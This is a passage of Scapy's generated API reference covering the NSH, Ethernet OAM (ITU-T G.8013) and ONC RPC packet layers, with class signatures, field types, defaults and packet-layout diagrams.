+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       SI      |                 CONTEXT HEADER                |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              VLCH             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                             Fig. NSH                             


NSH fields






	ver

	BitField  (2 bits)

	0



	oam

	BitField  (1 bit)

	0



	unused1

	BitField  (1 bit)

	0



	ttl

	BitField  (6 bits)

	63



	length

	BitFieldLenField  (6 bits)

	None



	unused2

	BitField  (4 bits)

	0



	mdtype

	BitEnumField

	1



	nextproto

	ByteEnumField

	3



	spi

	X3BytesField

	0



	si

	ByteField

	255



	context_header

	XStrFixedLenField (Cond)

	b''



	vlch

	PacketListField (Cond)

	[]











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nsh.py#L73-L74]

	




	
payload_guess

	Possible sublayers:
MPLS, NSH, IP, IPv6, Ether










	
class scapy.contrib.nsh.NSHTLV(_pkt, /, *, class_=0, type=0, reserved=0, length=0, metadata=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nsh.py#L26-L35]

	Bases: Packet

NSH MD-type 2 - Variable Length Context Headers


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             CLASS             |      TYPE     |R|    LENGTH   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            METADATA           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. NSHTLV                            


NSHTLV fields






	class_

	ShortField

	0



	type

	BitField  (8 bits)

	0



	reserved

	BitField  (1 bit)

	0



	length

	BitField  (7 bits)

	0



	metadata

	PacketListField

	[]

















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.oam


Operation, administration and maintenance (OAM)


	author:

	Sergey Matsievskiy, matsievskiysv@gmail.com



	description:

	This module provides Scapy layers for the OAM protocol.


	normative references:
	
	ITU-T Rec. G.8013/Y.1731 (08/2019) - Operation, administration and
maintenance (OAM) functions and mechanisms for Ethernet-based
networks (https://www.itu.int/rec/T-REC-G.8013)


	ITU-T Rec. G.8031/Y.1342 (01/2015) - Ethernet linear protection
switching (https://www.itu.int/rec/T-REC-G.8031)


	ITU-T Rec. G.8032/Y.1344 (02/2022) - Ethernet ring protection
switching (https://www.itu.int/rec/T-REC-G.8032)














	
class scapy.contrib.oam.APS(_pkt, /, *, req_st=0, prot_type=<Flag 0 ()>, req_sig=0, br_sig=0, br_type=<Flag 0 ()>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/oam.py#L327-L375]

	Bases: Packet

Linear protective switching APS data packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/oam.py#L374-L375]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| REQ ST|PROT TY|    REQ SIG    |     BR SIG    |    BR TYPE    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                             Fig. APS                             


APS fields






	req_st

	BitEnumField

	0



	prot_type

	FlagsField

	<Flag 0 ()>



	req_sig

	EnumField

	0



	br_sig

	EnumField

	0



	br_type

	FlagsField

	<Flag 0 ()>















	
class scapy.contrib.oam.MegId(_pkt, /, *, resv=1, format=0, length=None, values=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/oam.py#L66-L111]

	Bases: Packet

MEG ID


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/oam.py#L110-L111]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      RESV     |     FORMAT    |     LENGTH    |     VALUES    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. MegId                            


MegId fields






	resv

	ByteField

	1



	format

	ByteField

	0



	length

	MultipleTypeField (LenField, LenField, LenField)

	45



	values

	PadField

	None















	
class scapy.contrib.oam.MepIdField(name, default)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/oam.py#L55-L63]

	Bases: ShortField

Short field with insignificant three leading bytes






	
class scapy.contrib.oam.OAM(_pkt, /, *, mel=0, version=None, opcode=None, flags=None, period=None, tlv_offset=None, seq_num=0, trans_id=0, oui=None, subopcode=None, mep_id=0, meg_id=<MegId  |>, src_mep_id=0, rcv_mep_id=0, test_id=0, txfcf=0, rxfcb=0, rxfcf=0, txfcb=0, resv=0, ttl=0, orig_mac=None, targ_mac=None, relay_act=None, txtsf=<PTP_TIMESTAMP  |>, rxtsf=<PTP_TIMESTAMP  |>, txtsb=<PTP_TIMESTAMP  |>, rxtsb=<PTP_TIMESTAMP  |>, expct_dur=None, nom_bdw=None, curr_bdw=None, port_id=None, aps=<APS  |>, raps=<RAPS  |>, tlvs=[], opt_data=None, end_tlv=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/oam.py#L425-L660]

	Bases: Packet

OAM data unit


	
BNM_PERIOD_FLAGS = {4: '1 frame per second', 5: '1 frame per 10 seconds', 6: '1 frame per minute'}

	




	
OPCODES = {1: 'Continuity Check Message (CCM)', 2: 'Loopback Reply (LBR)', 3: 'Loopback Message (LBM)', 4: 'Linktrace Reply (LTR)', 5: 'Linktrace Message (LTM)', 32: 'Generic Notification Message (GNM)', 33: 'Alarm Indication Signal (AIS)', 35: 'Lock Signal (LCK)', 37: 'Test Signal (TST)', 39: 'Automatic Protection Switching (APS)', 40: 'Ring-Automatic Protection Switching (R-APS)', 41: 'Maintenance Communication Channel (MCC)', 42: 'Loss Measurement Reply (LMR)', 43: 'Loss Measurement Message (LMM)', 45: 'One Way Delay Measurement (1DM)', 46: 'Delay Measurement Reply (DMR)', 47: 'Delay Measurement Message (DMM)', 48: 'Experimental OAM Reply (EXR)', 49: 'Experimental OAM Message (EXM)', 50: 'Vendor Specific Reply (VSR)', 51: 'Vendor Specific Message (VSM)', 52: 'Client Signal Fail (CSF)', 53: 'One Way Synthetic Loss Measurement (1SL)', 54: 'Synthetic Loss Reply (SLR)', 55: 'Synthetic Loss Message (SLM)'}

	




	
PERIOD_FLAGS = {4: '1 frame per second', 6: '1 frame per minute'}

	




	
TIME_FLAGS = {0: 'Invalid value', 1: 'Trans Int 3.33ms', 2: 'Trans Int 10ms', 3: 'Trans Int 100ms', 4: 'Trans Int 1s', 5: 'Trans Int 10s', 6: 'Trans Int 1min', 7: 'Trans Int 10min'}

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| MEL | VERSION |     OPCODE    |     FLAGS     |PERIO|TLV OFFSE|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     |                         SEQ NUM                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     |                         TRANS ID                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     |                           OUI                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     |   SUBOPCODE   |             MEP ID            |  MEG ID |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     |           SRC MEP ID          |RCV MEP I|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     |                 TEST ID                 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     |                  TXFCF                  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     |                  RXFCB                  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     |                  RXFCF                  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     |                  TXFCB                  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     |                   RESV                  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     |      TTL      |         ORIG MAC        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                         +
|                                                               |
+     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     |                         TARG MAC                        |
+-+-+-+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                     |   RELAY ACT   |  TXTSF  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     |             RXTSF             |  TXTSB  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     |             RXTSB             |EXPCT DUR|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                                     | NOM BDW |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                                     | CURR BDW|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                                     | PORT ID |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                                     |   APS   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     |              RAPS             |   TLVS  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     |                 OPT DATA                |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     |    END TLV    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                             Fig. OAM                             


OAM fields






	mel

	BitField  (3 bits)

	0



	version

	MultipleTypeField (BitField, BitField)

	0



	opcode

	EnumField

	None



	flags

	MultipleTypeField (FlagsField, FlagsField, FlagsField, BitField, FlagsField, BitEnumField, ByteField)

	0



	period

	MultipleTypeField (Cond, BitEnumField, BitEnumField, BitEnumField)

	6



	tlv_offset

	MultipleTypeField (ByteField, ByteField, ByteField, ByteField, ByteField, ByteField, ByteField, ByteField, ByteField, ByteField)

	0



	seq_num

	IntField (Cond)

	0



	trans_id

	IntField (Cond)

	0



	oui

	OUIField (Cond)

	None



	subopcode

	MultipleTypeField (Cond, ByteField, ByteField)

	0



	mep_id

	MepIdField (Cond)

	0



	meg_id

	PacketField (Cond)

	<MegId  |>



	src_mep_id

	ShortField (Cond)

	0



	rcv_mep_id

	ShortField (Cond)

	0



	test_id

	IntField (Cond)

	0



	txfcf

	IntField (Cond)

	0



	rxfcb

	IntField (Cond)

	0



	rxfcf

	IntField (Cond)

	0



	txfcb

	IntField (Cond)

	0



	resv

	IntField (Cond)

	0



	ttl

	ByteField (Cond)

	0



	orig_mac

	MACField (Cond)

	None



	targ_mac

	MACField (Cond)

	None



	relay_act

	ByteField (Cond)

	None



	txtsf

	PacketField (Cond)

	<PTP_TIMESTAMP  |>



	rxtsf

	PacketField (Cond)

	<PTP_TIMESTAMP  |>



	txtsb

	PacketField (Cond)

	<PTP_TIMESTAMP  |>



	rxtsb

	PacketField (Cond)

	<PTP_TIMESTAMP  |>



	expct_dur

	IntField (Cond)

	None



	nom_bdw

	IntField (Cond)

	None



	curr_bdw

	IntField (Cond)

	None



	port_id

	IntField (Cond)

	None



	aps

	PacketField (Cond)

	<APS  |>



	raps

	PacketField (Cond)

	<RAPS  |>



	tlvs

	PacketListField (Cond)

	[]



	opt_data

	IntField (Cond)

	None



	end_tlv

	ByteField

	0















	
class scapy.contrib.oam.OAM_DATA_TLV(_pkt, /, *, type=3, length=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/oam.py#L126-L135]

	Bases: Packet

OAM Data TLV


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/oam.py#L134-L135]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OAM_DATA_TLV                         


OAM_DATA_TLV fields






	type

	ByteField

	3



	length

	LenField

	None















	
class scapy.contrib.oam.OAM_LTM_TLV(_pkt, /, *, type=7, length=8, egress_id=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/oam.py#L203-L217]

	Bases: Packet

OAM LTM TLV data


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/oam.py#L216-L217]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |             LENGTH            |   EGRESS ID   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+                                               +-+-+-+-+-+-+-+-+
|                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. OAM_LTM_TLV                         


OAM_LTM_TLV fields






	type

	ByteField

	7



	length

	LenField

	8



	egress_id

	LongField

	0















	
class scapy.contrib.oam.OAM_LTR_EG_TLV(_pkt, /, *, type=6, length=7, egress_act=0, egress_mac=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/oam.py#L258-L273]

	Bases: Packet

OAM LTR TLV data


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/oam.py#L272-L273]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |             LENGTH            |   EGRESS ACT  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           EGRESS MAC                          |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OAM_LTR_EG_TLV                        


OAM_LTR_EG_TLV fields






	type

	ByteField

	6



	length

	LenField

	7



	egress_act

	ByteField

	0



	egress_mac

	MACField

	None















	
class scapy.contrib.oam.OAM_LTR_IG_TLV(_pkt, /, *, type=5, length=7, ingress_act=0, ingress_mac=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/oam.py#L240-L255]

	Bases: Packet

OAM LTR TLV data


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/oam.py#L254-L255]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |             LENGTH            |  INGRESS ACT  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          INGRESS MAC                          |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OAM_LTR_IG_TLV                        


OAM_LTR_IG_TLV fields






	type

	ByteField

	5



	length

	LenField

	7



	ingress_act

	ByteField

	0



	ingress_mac

	MACField

	None















	
class scapy.contrib.oam.OAM_LTR_TLV(_pkt, /, *, type=8, length=16, last_egress_id=0, next_egress_id=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/oam.py#L220-L237]

	Bases: Packet

OAM LTR TLV data


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/oam.py#L236-L237]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |             LENGTH            | LAST EGRESS ID|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+                                               +-+-+-+-+-+-+-+-+
|                                               | NEXT EGRESS ID|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+                                               +-+-+-+-+-+-+-+-+
|                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. OAM_LTR_TLV                         


OAM_LTR_TLV fields






	type

	ByteField

	8



	length

	LenField

	16



	last_egress_id

	LongField

	0



	next_egress_id

	LongField

	0















	
class scapy.contrib.oam.OAM_TEST_ID_TLV(_pkt, /, *, type=36, length=32, test_id=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/oam.py#L276-L290]

	Bases: Packet

OAM Test ID TLV data


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/oam.py#L289-L290]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |             LENGTH            |    TEST ID    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OAM_TEST_ID_TLV                       


OAM_TEST_ID_TLV fields






	type

	ByteField

	36



	length

	LenField

	32



	test_id

	IntField

	0















	
class scapy.contrib.oam.OAM_TEST_TLV(_pkt, /, *, type=32, length=None, pat_type=0, crc=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/oam.py#L138-L200]

	Bases: Packet

OAM test TLV data


	
aliastypes

	




	
do_dissect(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/oam.py#L173-L184]

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/oam.py#L195-L200]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |             LENGTH            |    PAT TYPE   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              CRC                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OAM_TEST_TLV                         


OAM_TEST_TLV fields






	type

	ByteField

	32



	length

	MultipleTypeField (LenField, LenField)

	None



	pat_type

	EnumField

	0



	crc

	FCSField (Cond)

	None











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/oam.py#L186-L193]

	








	
class scapy.contrib.oam.OAM_TLV(_pkt, /, *, type=1, length=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/oam.py#L114-L123]

	Bases: Packet

OAM TLV


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/oam.py#L122-L123]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. OAM_TLV                           


OAM_TLV fields






	type

	ByteField

	1



	length

	LenField

	None















	
class scapy.contrib.oam.PTP_TIMESTAMP(_pkt, /, *, seconds=0, nanoseconds=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/oam.py#L314-L324]

	Bases: Packet

PTP timestamp


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/oam.py#L323-L324]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            SECONDS                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          NANOSECONDS                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. PTP_TIMESTAMP                        


PTP_TIMESTAMP fields






	seconds

	IntField

	0



	nanoseconds

	IntField

	0















	
class scapy.contrib.oam.RAPS(_pkt, /, *, req_st=0, sub_code=None, status=<Flag 0 ()>, node_id=None, resv=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/oam.py#L378-L422]

	Bases: Packet

Ring protective switching R-APS data packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/oam.py#L421-L422]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| REQ ST|SUB COD|     STATUS    |            NODE ID            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              RESV                             |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. RAPS                             


RAPS fields






	req_st

	BitEnumField

	0



	sub_code

	MultipleTypeField (BitEnumField, BitField)

	0



	status

	FlagsField

	<Flag 0 ()>



	node_id

	MACField

	None



	resv

	NBytesField

	0















	
scapy.contrib.oam.guess_tlv_type(pkt, lst, cur, remain)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/oam.py#L293-L311]

	






            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.oncrpc


	
class scapy.contrib.oncrpc.Auth_RPCSEC_GSS(_pkt, /, *, gss_version=0, gss_procedure=0, gss_seq_num=0, gss_service=0, gss_context=<Object_Name  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/oncrpc.py#L76-L87]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/oncrpc.py#L86-L87]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          GSS VERSION                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         GSS PROCEDURE                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          GSS SEQ NUM                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          GSS SERVICE                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          GSS CONTEXT          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. Auth_RPCSEC_GSS                       


Auth_RPCSEC_GSS fields






	gss_version

	IntField

	0



	gss_procedure

	IntField

	0



	gss_seq_num

	IntField

	0



	gss_service

	IntField

	0



	gss_context

	PacketField

	<Object_Name  |>















	
class scapy.contrib.oncrpc.Auth_Unix(_pkt, /, *, stamp=0, mname=<Object_Name  |>, uid=0, gid=0, num_auxgids=0, auxgids=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/oncrpc.py#L58-L73]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/oncrpc.py#L72-L73]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             STAMP                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             MNAME             |              UID              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |              GID              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |          NUM AUXGIDS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            AUXGIDS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. Auth_Unix                          


Auth_Unix fields






	stamp

	XIntField

	0



